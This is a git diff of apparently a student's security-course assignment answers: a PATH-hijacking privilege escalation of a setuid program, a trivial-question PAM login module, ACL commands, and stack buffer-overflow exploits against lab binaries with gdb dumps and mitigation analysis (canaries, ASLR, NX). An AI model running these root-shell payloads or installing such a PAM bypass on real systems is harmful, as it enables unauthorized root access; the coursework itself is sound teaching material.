aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--CamilStaps-s4498062-Assignment-2/ex1/ex1.txt21
-rw-r--r--CamilStaps-s4498062-Assignment-2/ex2/Makefile8
-rw-r--r--CamilStaps-s4498062-Assignment-2/ex2/ex2.txt20
-rw-r--r--CamilStaps-s4498062-Assignment-2/ex2/hello-cr4.c22
-rw-r--r--CamilStaps-s4498062-Assignment-2/ex3/Makefile5
-rw-r--r--CamilStaps-s4498062-Assignment-2/ex3/login3
-rw-r--r--CamilStaps-s4498062-Assignment-2/ex3/pam_questions.c72
-rw-r--r--CamilStaps-s4498062-Assignment-3/ex116
-rw-r--r--CamilStaps-s4498062-Assignment-3/ex250
-rw-r--r--CamilStaps-s4498062-Assignment-3/ex398
-rw-r--r--CamilStaps-s4498062-Assignment-3/ex447
-rw-r--r--CamilStaps-s4498062-Assignment-3/ex543
12 files changed, 405 insertions, 0 deletions
diff --git a/CamilStaps-s4498062-Assignment-2/ex1/ex1.txt b/CamilStaps-s4498062-Assignment-2/ex1/ex1.txt
new file mode 100644
index 0000000..28c5e20
--- /dev/null
+++ b/CamilStaps-s4498062-Assignment-2/ex1/ex1.txt
@@ -0,0 +1,21 @@
+a
+ Using strace -feprocess ./showdate we see the following interesting calls:
+ execve("/bin/sh", ["sh", "-c", "date"], [/* 37 vars */])
+ execve("/bin/date", ["date"], [/* 37 vars */])
+
+b
+ $ ln -s /bin/sh date
+ $ export PATH=.:$PATH
+ $ ./showdate
+ # id
+ uid=0(root) gid=0(root) groups=0(root),27(sudo),1001(camil)
+
+c
+ - Simply don't use execve for something as simple as this.
+ - The currently used system call is:
+ execve("/bin/sh", ["sh, "-c", "date"], [/* 37 vars */])
+ This could be changed to:
+ execve("/bin/date", ...)
+ A nonprivileged user cannot change /bin/date.
+ - Drop privileges before executing execve.
+
diff --git a/CamilStaps-s4498062-Assignment-2/ex2/Makefile b/CamilStaps-s4498062-Assignment-2/ex2/Makefile
new file mode 100644
index 0000000..a87a542
--- /dev/null
+++ b/CamilStaps-s4498062-Assignment-2/ex2/Makefile
@@ -0,0 +1,8 @@
+obj-m += hello-cr4.o
+
+all:
+ make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
+
+clean:
+ make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
+
diff --git a/CamilStaps-s4498062-Assignment-2/ex2/ex2.txt b/CamilStaps-s4498062-Assignment-2/ex2/ex2.txt
new file mode 100644
index 0000000..35afd58
--- /dev/null
+++ b/CamilStaps-s4498062-Assignment-2/ex2/ex2.txt
@@ -0,0 +1,20 @@
+a
+ According to https://en.wikipedia.org/wiki/Control_register#CR4, the SMAP and SMEP bits are used to protect ring 0.
+ If writing to CR4 would be allowed, we could disable this protection, and access kernel space data (e.g.)
+
+b
+ 0x40050e <main+8> mov %cr4,%rax
+
+ This attempts to move the RAX register to the CR4 register, i.e. to write to CR4.
+
+c
+ Done. I suppose it isn't necessary to give you the code or results, as all was needed was copying from the given website.
+
+d
+ See hello-cr4.c and Makefile.
+
+ # make
+ [..]
+ # insmod hello-cr4.ko
+ [15892.352286] Hello world! CR4 = 7f0
+
diff --git a/CamilStaps-s4498062-Assignment-2/ex2/hello-cr4.c b/CamilStaps-s4498062-Assignment-2/ex2/hello-cr4.c
new file mode 100644
index 0000000..9db671d
--- /dev/null
+++ b/CamilStaps-s4498062-Assignment-2/ex2/hello-cr4.c
@@ -0,0 +1,22 @@
+#include <linux/module.h>
+#include <linux/kernel.h>
+#include <linux/init.h>
+
+MODULE_LICENSE("GPL");
+MODULE_AUTHOR("Camil Staps");
+MODULE_DESCRIPTION("A Simple Hello World module");
+
+static int __init hello_init(void) {
+ unsigned long long result;
+ __asm__("movq %%cr4, %%rax\n" : "=a"(result));
+ printk(KERN_INFO "Hello world! CR4 = %11x\n", result);
+ return 0;
+}
+
+static void __exit hello_cleanup(void) {
+ printk(KERN_INFO "Cleaning up module.\n");
+}
+
+module_init(hello_init);
+module_exit(hello_cleanup);
+
diff --git a/CamilStaps-s4498062-Assignment-2/ex3/Makefile b/CamilStaps-s4498062-Assignment-2/ex3/Makefile
new file mode 100644
index 0000000..7ff3de0
--- /dev/null
+++ b/CamilStaps-s4498062-Assignment-2/ex3/Makefile
@@ -0,0 +1,5 @@
+all:
+ gcc -fPIC -DPIC -shared -rdynamic -o pam_questions.so pam_questions.c
+ cp pam_questions.so /lib/security
+ chown root:root /lib/security/pam_questions.so
+ chmod 755 /lib/security/pam_questions.so
diff --git a/CamilStaps-s4498062-Assignment-2/ex3/login b/CamilStaps-s4498062-Assignment-2/ex3/login
new file mode 100644
index 0000000..3e1c3cb
--- /dev/null
+++ b/CamilStaps-s4498062-Assignment-2/ex3/login
@@ -0,0 +1,3 @@
+# PAM configuration file
+auth sufficient pam_questions.so
+
diff --git a/CamilStaps-s4498062-Assignment-2/ex3/pam_questions.c b/CamilStaps-s4498062-Assignment-2/ex3/pam_questions.c
new file mode 100644
index 0000000..b93dc4e
--- /dev/null
+++ b/CamilStaps-s4498062-Assignment-2/ex3/pam_questions.c
@@ -0,0 +1,72 @@
+/* Source code from http://www.rkeene.org/projects/info/wiki/222, adapted by Camil Staps */
+
+/* Define which PAM interfaces we provide */
+#define PAM_SM_ACCOUNT
+#define PAM_SM_AUTH
+#define PAM_SM_PASSWORD
+#define PAM_SM_SESSION
+
+/* Include PAM headers */
+#include <security/pam_appl.h>
+#include <security/pam_modules.h>
+
+/* Other headers */
+#include <time.h>
+#include <stdlib.h>
+#include <stdio.h>
+
+/* Our questions and answers */
+const char * const q[5] = {
+ "6*7",
+ "the answer to life the universe and everything",
+ "'forty two' in numbers",
+ "the meaning of 'efa-polo roa' in Malagasi",
+ "not 54" };
+const char a[5] = {42, 42, 42, 42, 42};
+
+/* PAM entry point for session creation */
+int pam_sm_open_session(pam_handle_t *pamh, int flags, int argc, const char **argv) {
+ return(PAM_IGNORE);
+}
+
+/* PAM entry point for session cleanup */
+int pam_sm_close_session(pam_handle_t *pamh, int flags, int argc, const char **argv) {
+ return(PAM_IGNORE);
+}
+
+/* PAM entry point for accounting */
+int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) {
+ return(PAM_IGNORE);
+}
+
+/* PAM entry point for authentication verification */
+int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
+ const char* username;
+ pam_get_user(pamh, &username, NULL);
+
+ srand(time(NULL));
+ int r = rand() % 5;
+ printf("What is %s? ", q[r]);
+ int resp;
+ scanf("%d", &resp);
+
+ if (resp == a[r]) {
+ return(PAM_SUCCESS);
+ } else {
+ return(PAM_AUTH_ERR);
+ }
+}
+
+/*
+ PAM entry point for setting user credentials (that is, to actually
+ establish the authenticated user's credentials to the service provider)
+*/
+int pam_sm_setcred(pam_handle_t *pamh, int flags, int argc, const char **argv) {
+ return(PAM_IGNORE);
+}
+
+/* PAM entry point for authentication token (password) changes */
+int pam_sm_chauthtok(pam_handle_t *pamh, int flags, int argc, const char **argv) {
+ return(PAM_IGNORE);
+}
+
diff --git a/CamilStaps-s4498062-Assignment-3/ex1 b/CamilStaps-s4498062-Assignment-3/ex1
new file mode 100644
index 0000000..5221f4d
--- /dev/null
+++ b/CamilStaps-s4498062-Assignment-3/ex1
@@ -0,0 +1,16 @@
+$ mkdir dir1 dir2
+$ for i in {1..3}; do touch "dir1/file$i"; done
+$ for i in {4..6}; do touch "dir2/file$i"; done
+$ sudo chmod 700 *
+$ sudo chmod 600 */*
+$ setfacl -m user:test1:rwx *
+$ setfacl -m user:test2:r-x dir1
+$ setfacl -m user:test2:r-- dir1/*
+$ setfacl -m user:test3:r-x dir1
+$ setfacl -m user:test3:r-- dir1 dir1/*
+$ setfacl -m user:test3:rw- dir1/file1
+$ setfacl -m user:test3:r-x dir1/file2
+$ setfacl -m user:test4:-wx dir2
+$ setfacl -m user:test5:--x *
+$ setfacl -m user:test5:rwx */*
+
diff --git a/CamilStaps-s4498062-Assignment-3/ex2 b/CamilStaps-s4498062-Assignment-3/ex2
new file mode 100644
index 0000000..1a43891
--- /dev/null
+++ b/CamilStaps-s4498062-Assignment-3/ex2
@@ -0,0 +1,50 @@
+a
+ If there is no cli argument, the program aborts.
+ Otherwise, checkpass() is called with the argument.
+ The crypt library is used to compute a hash of the argument with some salt.
+ According to http://www.gnu.org/software/libc/manual/html_node/crypt.html,
+ the best way to recover the password is to launch a brute force attack.
+
+b
+ Before strcpy, the stack is 'normal':
+
+ ...
+ (gdb) ni
+ 0x0000000000400840 14 strcpy(password,input);
+ ...
+ => 0x0000000000400840 <checkpass+42>: e8 2b fe ff ff call 0x400670 <strcpy@plt>
+ (gdb) x /64bx $rsp
+ 0x7ffe8a0fdd60: 0x78 0x5d 0x3b 0xaf 0x29 0x7f 0x00 0x00
+ 0x7ffe8a0fdd68: 0x53 0xf4 0x0f 0x8a 0xfe 0x7f 0x00 0x00
+ 0x7ffe8a0fdd70: 0x00 0x00 0x00 0x00 0x01 0x00 0x00 0x00
+ 0x7ffe8a0fdd78: 0x30 0x08 0x00 0x00 0x01 0x00 0x00 0x00
+ 0x7ffe8a0fdd80: 0xb0 0xde 0x0f 0x8a 0xfe 0x7f 0x00 0x00
+ 0x7ffe8a0fdd88: 0x38 0x4f 0xba 0xaf 0x29 0x7f 0x00 0x00
+ 0x7ffe8a0fdd90: 0xe0 0xde 0x0f 0x8a 0xfe 0x7f 0x00 0x00
+ 0x7ffe8a0fdd98: 0x00 0x75 0xba 0xaf 0x29 0x7f 0x00 0x00
+
+ But, because we're copying more characters than `password` can hold, after
+ strcpy, the stack is corrupted:
+
+ (gdb) ni
+ ...
+ (gdb) x /64bx $rsp
+ 0x7ffe8a0fdd60: 0x78 0x5d 0x3b 0xaf 0x29 0x7f 0x00 0x00
+ 0x7ffe8a0fdd68: 0x53 0xf4 0x0f 0x8a 0xfe 0x7f 0x00 0x00
+ 0x7ffe8a0fdd70: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
+ 0x7ffe8a0fdd78: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
+ 0x7ffe8a0fdd80: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
+ 0x7ffe8a0fdd88: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
+ 0x7ffe8a0fdd90: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
+ 0x7ffe8a0fdd98: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
+
+ In particular, the value of `correct` is now 0x41:
+
+ (gdb) x &correct
+ 0x7ffe8a0fde8f: 0x41
+
+ which is truthy.
+ The hash is computed normally, the strcmp call evaluates to non-zero, so the
+ string `ERROR: password incorrect` is printed, however, correct stays false.
+ Because of this, a root shell is started.
+
diff --git a/CamilStaps-s4498062-Assignment-3/ex3 b/CamilStaps-s4498062-Assignment-3/ex3
new file mode 100644
index 0000000..d1da7dc
--- /dev/null
+++ b/CamilStaps-s4498062-Assignment-3/ex3
@@ -0,0 +1,98 @@
+a
+ $ ./auth0 $(python -c 'print "A"*512')
+ ERROR: password incorrect
+ Segmentation fault
+
+b
+ With optimisation, `correct` isn't really a variable anymore. The
+ compiler recognises the moments it can change (i.e. at definition time
+ and after the strcmp), and when it is used (the last if), and manages
+ to do the same without the variable.
+
+ It now uses code similar to the following control flow:
+
+ if (strcmp(hash1,hash2) == 0) {
+ printf("Starting root shell\n");
+ setuid(0);
+ setgid(0);
+ system("/bin/sh");
+ } else {
+ printf("ERROR: password incorrect\n");
+ }
+
+ So, `correct` has been eliminated. Therefore, the buffer overflow
+ attack doesn't work anymore: there is no variable to overwrite.
+
+ We can see this in auth3.s. The `bool correct = false;` statement doesn't
+ translate to anything in assembly, while it does in auth0.s.
+
+ More interestingly, we can see the control flow:
+
+ 19:auth.c **** if (strcmp(hash1,hash2) == 0) {
+ 99 .loc 1 19 0
+ 100 001f BF000000 mov edi, OFFSET FLAT:.LC1 # tmp90,
+ 100 00
+ 101 0024 B96B0000 mov ecx, 107 # tmp91,
+ 101 00
+ 102 0029 4889C6 mov rsi, rax # hash1, hash1
+ 103 .LBE7:
+ 104 002c F3A6 repz cmpsb
+ 105 .LVL4:
+ 106 002e 7530 jne .L6 #,
+ 107 .LVL5:
+ 108 .LBB8:
+ 109 .LBB9:
+ 20:auth.c **** correct = true;
+ 21:auth.c **** } else {
+ 22:auth.c **** printf("ERROR: password incorrect\n");
+ 23:auth.c **** }
+ 24:auth.c ****
+ 25:auth.c **** if (correct) {
+ 26:auth.c **** printf("Starting root shell\n");
+ 110 .loc 1 26 0
+ 111 0030 BF000000 mov edi, OFFSET FLAT:.LC3 #,
+ 111 00
+ 112 0035 E8000000 call puts #
+ 112 00
+ 113 .LVL6:
+ 27:auth.c **** setuid(0);
+ 114 .loc 1 27 0
+ 115 003a 31FF xor edi, edi #
+ 116 003c E8000000 call setuid #
+ 116 00
+
+ The jump in 106 goes to .L6 where the error printf assembly is stored:
+
+ 22:auth.c **** }
+ 138 .loc 1 22 0
+ 139 0060 BF000000 mov edi, OFFSET FLAT:.LC2 #,
+ 139 00
+ 140 0065 E8000000 call puts #
+ 140 00
+
+ If we don't jump (i.e. if the result from strcmp was 0), we continue in
+ .LVL5, .LBB8, .LBB9 where we printf "Starting root shell" and after do
+ the set{u,g}id stuff and start the root shell.
+
+ In auth0.s we see a control flow that stays much closer to the C code.
+ There is an actual variable `correct` which is set if the strcmp returns 0:
+
+ 19:auth.c **** if (strcmp(hash1,hash2) == 0) {
+ 76 .loc 1 19 0
+ 77 004f 488B55E8 mov rdx, QWORD PTR [rbp-24] # tmp88, hash2
+ 78 0053 488B45F0 mov rax, QWORD PTR [rbp-16] # tmp89, hash1
+ 79 0057 4889D6 mov rsi, rdx #, tmp88
+ 80 005a 4889C7 mov rdi, rax #, tmp89
+ 81 005d E8000000 call strcmp #
+ 81 00
+ 82 0062 85C0 test eax, eax # D.3514
+ 83 0064 7506 jne .L2 #,
+ 20:auth.c **** correct = true;
+ 84 .loc 1 20 0
+ 85 0066 C645FF01 mov BYTE PTR [rbp-1], 1 # correct,
+
+ Finally: the compiler changes the control flow because it is more efficient.
+ In this case, I think, it is both timewise and spacewise more efficient: we
+ store one bool less, and also don't lose time in setting and checking its
+ value.
+
diff --git a/CamilStaps-s4498062-Assignment-3/ex4 b/CamilStaps-s4498062-Assignment-3/ex4
new file mode 100644
index 0000000..47214a6
--- /dev/null
+++ b/CamilStaps-s4498062-Assignment-3/ex4
@@ -0,0 +1,47 @@
+a
+ That would be 0x40085a.
+
+b
+ Done. That gives a root shell:
+
+ $ ./auth "$(python -c 'import struct; print "A"*264+struct.pack("<Q",0x40085a)')"
+ ERROR: password incorrect
+ #
+ Segmentation fault
+
+c
+ The return address of checkpass has been overwritten with the address of the
+ setuid call. So, after executing checkpass as normally, we 'return' to that
+ setuid call. This explains why we don't read "Starting root shell".
+
+ (gdb) ...
+ 0x000000000040082d 14 strcpy(password,input);
+ 0x000000000040082a <checkpass+10>: 48 89 e7 mov rdi,rsp
+ => 0x000000000040082d <checkpass+13>: e8 0e fe ff ff call 0x400640 <strcpy@plt>
+ (gdb) x /64bx ($rsp+256)
+ 0x7ffe5af18c50: 0x40 0x8d 0xf1 0x5a 0xfe 0x7f 0x00 0x00
+ --> 0x7ffe5af18c58: 0xf2 0x06 0x40 0x00 0x00 0x00 0x00 0x00
+ 0x7ffe5af18c60: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
+ 0x7ffe5af18c68: 0x45 0x9b 0x05 0x5d 0xdc 0x7f 0x00 0x00
+ 0x7ffe5af18c70: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
+ 0x7ffe5af18c78: 0x48 0x8d 0xf1 0x5a 0xfe 0x7f 0x00 0x00
+ 0x7ffe5af18c80: 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00
+ 0x7ffe5af18c88: 0xe0 0x06 0x40 0x00 0x00 0x00 0x00 0x00
+ (gdb) ni
+ 15 hash1 = crypt(password,"$6$1122334455667788$");
+ => 0x0000000000400832 <checkpass+18>: be 24 09 40 00 mov esi,0x400924
+ 0x0000000000400837 <checkpass+23>: 48 89 e7 mov rdi,rsp
+ 0x000000000040083a <checkpass+26>: e8 41 fe ff ff call 0x400680 <crypt@plt>
+ (gdb) x /64bx ($rsp+256)
+ 0x7ffe5af18c50: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
+ --> 0x7ffe5af18c58: 0x5a 0x08 0x40 0x00 0x00 0x00 0x00 0x00
+ 0x7ffe5af18c60: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
+ 0x7ffe5af18c68: 0x45 0x9b 0x05 0x5d 0xdc 0x7f 0x00 0x00
+ 0x7ffe5af18c70: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
+ 0x7ffe5af18c78: 0x48 0x8d 0xf1 0x5a 0xfe 0x7f 0x00 0x00
+ 0x7ffe5af18c80: 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00
+ 0x7ffe5af18c88: 0xe0 0x06 0x40 0x00 0x00 0x00 0x00 0x00
+
+ The relevant line is marked with -->. Before the strcpy, the correct return
+ address is there. After, there is our own address.
+
diff --git a/CamilStaps-s4498062-Assignment-3/ex5 b/CamilStaps-s4498062-Assignment-3/ex5
new file mode 100644
index 0000000..6b81c05
--- /dev/null
+++ b/CamilStaps-s4498062-Assignment-3/ex5
@@ -0,0 +1,43 @@
+a
+ auth0 auth3
+ "A"*512 (2b) stack smashing detected stack smashing detected
+
+ Both failures are because of __stack_chk_fail@plt:
+
+ 0x000000000040095d <checkpass+215>: e8 8e fd ff ff call 0x4006f0 <__stack_chk_fail@plt>
+
+ and:
+
+ 0x000000000040092c <checkpass+140>: e8 7f fd ff ff call 0x4006b0 <__stack_chk_fail@plt>
+
+ Ret.addr (4b) stack smashing detected stack smashing detected
+
+ Undoubtedly, this is due to something similar.
+
+b
+ $ cat /proc/sys/kernel/randomize_va_space
+ 2
+
+ So, yes, full randomisation.
+
+ It helps, because we cannot find the right address anymore using objdump.
+
+c
+ Yes, then also the standard library addresses are randomised.
+
+d
+ $ objdump -p auth0
+
+ auth0: file format elf64-x86-64
+
+ Program Header:
+ ...
+ STACK off 0x0000000000000000 vaddr 0x0000000000000000 paddr 0x0000000000000000 align 2**4
+ filesz 0x0000000000000000 memsz 0x0000000000000000 flags rw-
+
+ As you can see, it has only rw permissions, not x. This helps, because otherwise we could
+ overwrite the stack with code, and overwrite the return address with a stack address to
+ execute our own code.
+ I don't see any advantage in this though, when stack protection is enabled (because then
+ it is infeasible to overwrite the return address and pass the checks), but I might be wrong.
+